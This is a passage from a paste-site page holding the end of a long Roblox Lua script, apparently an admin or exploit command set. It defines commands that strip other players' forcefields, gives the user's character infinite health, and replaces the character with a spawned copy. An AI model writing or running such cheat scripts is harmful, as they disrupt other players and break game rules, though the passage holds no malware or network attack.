  2539. if find.Character:FindFirstChild("ForceField") then
  2540. find.Character.ForceField:Remove()
  2541. end
  2542. end)
  2543. AddCMD("hk", "Hotkey", "sets a command to hotkey", "General", function(args)
  2544. if CMDlist[args[2]] then
  2545. HotKeys[string.lower(args[1])] = CMDlist[args[2]]
  2546. end
  2547. end)
  2548.  
  2549.  
  2550. print("WHAT!?")
  2551.  
  2552.  
  2553.  
  2554. for _,v in pairs(cam:GetChildren()) do
  2555. if v.Name == plyr.Name then v:Remove() end
  2556. end
  2557. Effigy = CreateNewChar()
  2558. BackUp = CreateNewChar()
  2559. plyr.Character.Parent = cam
  2560. plyr.Character.Humanoid.MaxHealth = math.huge
  2561. plyr.Character.Humanoid.Health = plyr.Character.Humanoid.MaxHealth
  2562. ff = Instance.new("ForceField", char)
  2563.  
  2564. plyr:Remove()
  2565.  
  2566.  
  2567. function Characterize()
  2568. Effigy.Parent = Workspace
  2569. Effigy:MakeJoints()
  2570. Effigy.Humanoid.Health = Effigy.Humanoid.MaxHealth
  2571. Animate(Effigy, BackUp)
  2572. end
  2573.  
  2574. Characterize()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement